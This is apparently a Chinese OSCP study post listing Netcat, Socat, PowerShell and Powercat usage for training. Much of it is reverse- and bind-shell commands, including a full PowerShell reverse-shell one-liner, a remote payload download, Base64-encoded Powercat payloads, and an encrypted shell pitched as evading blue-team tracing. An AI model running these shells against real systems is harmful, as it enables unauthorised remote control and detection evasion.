OSCP|第四章 实用的工具
女鬼水妖
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
OSCP|第四章 实用的工具

Netcat
Netcat 是一个非常好用的一个工具,我们可以用它传送文件,反弹shell,监听端口等。
连接TCP/UDP 端口
我们可以用客户端去连接任何TCP/UDP端口
查看端口是否开启/关闭
读取关于该服务的banner信息
手动连接该服务
nc -nv <ip-address> <port>
监听 TCP/UDP 端口
nc -nlvp <port>
example: nc -nlvp 4445
-n 不需要DNS解析
-l 创造一个监听
-v 更加详细的透露消息
-p 需要监听的端口
利用Netcat 传输文件
接受端(开启监听端口)
nc -nlvp <port> > <filename>
example: nc -nlvp 4445 > payload.txt
发送端(连接别人的端口)
nc -nv <ip-address> <port> < <filename>
example: nc -nv 192.168.98.23 < payload.txt
利用Netcat来控制机器
正向连接
目标机自行开启监听端口 攻击机主动去连接端口
常用于内网机器不出网的时候
# 目标机 自行开启端口
Windows: nc -nlvp -e cmd.exe
Linux: nc -nlvp -e /bin/bash
# PS: 有时候Netcat的版本不够高,可能会没有-e 这个参数,各位师傅就自行去 google搜 [reverse shell generator]
# 攻击机 自动连接端口
Kali Linux: nc -nv <ip-address> <port>
反向连接
攻击机开启端口 目标机连接攻击机
Windows: nc -nv <ip-address> <port> -e cmd.exe
Linux: nc -nv <ip-address> <port> -e /bin/bash
Kali Linux: nc -lnvp <port>
Socat
Netcat VS Socat
# 连接目标端口
nc <ip-address> <port>
socat - TCP4:<ip-address>:<port>
# 开启监听本地端口
nc -lvp 443
socat TCP4-LISTEN:443 STDOUT
Socat 文件传输
# 发送端
socat TCP4-LISTEN:4445,fork file:secret.txt
# 接受端
socat TCP:<ip-address>:<port> file:received_secret_password.txt,create
Socat Reverse Shell
# 攻击机
socat -d -d TCP4-LISTEN:4445 STDOUT
# 目标机
socat TCP4:<ip-address>:4445 EXEC:/bin/bash
Socat 加密正向shell
为什么要流量加密?流量不加密容易被蓝队溯源,信息加密能让我们存活更长一段时间。
我们需要用到openssl来生成自己的证书
# 需要用到的参数
req 初始化一个签名证书 (request)
-newkey 生成一个私钥
rsa:2048 用2048比特长的钥匙用RSA加密
-nodes 储存一个私钥,不需要密码的保护
-keyout 保存密钥到一个文件里
-x509 输出一个 自己签证的证书
-days 设置一个期限
-out 生成一个证书
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 31 -out bind_shell.crt
# 然后会输入一些信息
cat bind_shell.key bind_shell.crt > bind_shell.pem
# 生成.pem文件才能使用socat来对流量进行加密
# 目标机
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
# 攻击机
socat - OPENSSL:<ip-address>:<port>,verify=0
Powershell && Powercat
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。
在Windows 7中内置了PowerShell2.0, Windows 8中内置了PowerShell3.0,Windows 10,11中内置了PowerShell5.1如果本机没有添加,可在网上下载安装包进行安装,或者下载WebPI,通过WebPI安装PowerShell。
# 当受到UAC保护的时候 请输入以下指令
Set-ExecutionPolicy Unrestricted
Powershell 文件传输
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://example.com/payload.exe'),'C:\Users\Public\Download\payload.exe'"
Powershell Reverse/Bind Shell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
好长 Orz, 各位师傅请自行在 reverse shell generator复制吧
Powercat
Powercat 是 Powershell 的Netcat
# Kali Linux 没有的话可以下载
sudo apt install powercat
# Windows
. .\powercat.ps1
Powercat 文件传输
# Kali Linux
sudo nc -lnvp 443 > receving_powercat.ps1
# Windows
powercat -c <ip-address> -p <port> -i C:\Users\Public\Downloads\powercat.ps1
Powercat Shell
Bind Shell
# Kali Linux
nc <ip-address> <port>
# Windows
powercat -l -p 443 -e cmd.exe
Reverse Shell
# Kali Linux
nc -lvp 443
# Windows
powercat -c <ip-address> -p <port> -e cmd.exe
Powercat 独立的 Payload
Powercat 可以独立生成一个自己的ps1 方便自己独自调用
powercat -c <ip-address> -p <port> -e cmd.exe -g > reverseshell.ps1
# 可以用Base64 去加密我们的reverse_shell
powercat -c <ip-address> -p <port> -e cmd.exe -ge > encodedreverseshell.ps1
Wireshark
Wireshark 可以进行流量嗅探,解包,进行溯源工作。
本文为 女鬼水妖 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏

相关推荐
OSCP | 第七章 主动信息收集 其他服务枚举
2022-04-14
OSCP | 第七章 主动信息收集 端口扫描
2022-04-11
OSCP | 第七章 主动信息收集 DNS
2022-04-11
文章目录